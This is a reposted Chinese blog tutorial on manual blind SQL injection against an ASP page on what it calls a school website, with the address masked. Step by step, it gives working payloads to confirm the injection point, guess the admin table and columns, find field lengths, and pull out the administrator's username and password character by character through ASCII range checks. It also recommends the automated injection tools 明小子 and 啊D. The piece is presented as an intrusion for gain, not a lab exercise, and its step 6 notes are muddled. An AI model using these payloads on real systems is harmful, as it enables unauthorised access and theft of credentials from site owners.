简单手工注入

网络杂谈 CN-P5 1421℃ 0评论

今天介绍的是怎样利用手工注入得到管理员帐号密码。
平时我们都是利用 明小子或者啊D来扫网站的注入漏洞,今天就换下口味;利用纯手工注入得到管理员帐号密码!

今天的主角是--http://www.xxxxx.com/main/class/03it/asp/index.asp
一个学校的网站!
好了,开始吧
1.检测注入点:
一般是在连接的后面添加 and 1=1 and 1=2 如果2次返回的页面不同就意味着存在注入漏洞。
注入点我找好了!
2次返回不一样,说明存在注入漏洞!

2.猜解表名:
在注入点后面输入 and (select count(*) from admin)<>0   猜admin的表是否存在(返回正常则存在admin的表名,返回错误就是不存在admin的表名) admin 的表名存在,再来看看其他的,返回错误,说明没有这个表名!继续!

3.猜解列名:
同上面的猜解表名没有多大区别 and (select count(字段名) from 表名)<>0 同样是看返回的页面,返回正常则“此字段”存在 !admin中存在username 试试password 2个都存在!

4.猜解管理员个数:and (select count(*) from admin)=1   =1也就是一个的意思!=2就是2
(同样是看返回页面)
看样子只有一个管理员!!

5.猜解管理员用户名和密码的长度:
and (select len(username) from admin)>=1、>=2、>=3、>=4、>=5、>=6
(同样是看返回页面) 一直把数字从1开始加,加到返回错误为止!   错误的数字即是用户名的长度
10返回错误,说明是9位 继续测password 14返回错误,说明是13位
username 9位 password 13位

6.猜管理员用户名:
最为关键的部分了…仔细看吧!
and (select count(*) from admin where (asc(mid(username,1,1))) between 30 and 130)<>0
username的字段第一个字符的ASCII码在30—130之间,然后再次缩小范围提交,直到返回正确为止!
然后对照ASCII码表,即可猜解出管理员帐号的第一个字符。
猜解第2位则and (select count(*) from admin where (asc(mid(username,2,1))) between 30 and 130)<>0
范围在 45-48之间!很小了
说明username的第一个字符是48对照ASCII就可以知道第一个字符是什么了!
还要猜8次! 48 51 105   0 3 i(要区分大小写) 0 3 i tadmin
密码   97 98 99   a b c 应该没错 a b c     d123498765
最后用明小子 来弄吧!
验证一下!是51 还是验证下好,免得错误
为了节省时间我就密码帐号各破解3位,然后用明小子解决!

and (select asc(mid(username,1,1))from admin)=这里填范围!
PS:ASCII码 学过计算机一级的因该知道这是什么~我就不多说了
顺便附送ASCII码对照表http://dev.csdn.net/article/41/41977.shtm

7.猜解管理员密码
同6是一样的,只不过是换了个“列”而已!
上面已经演示了!
嘿嘿 其实手工注入就是这样,但是用工具就比较快

转载:http://219.138.134.142/zj/blog/article.asp?id=168

转载请注明:黑白的自留地 » 简单手工注入

喜欢 (0)
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址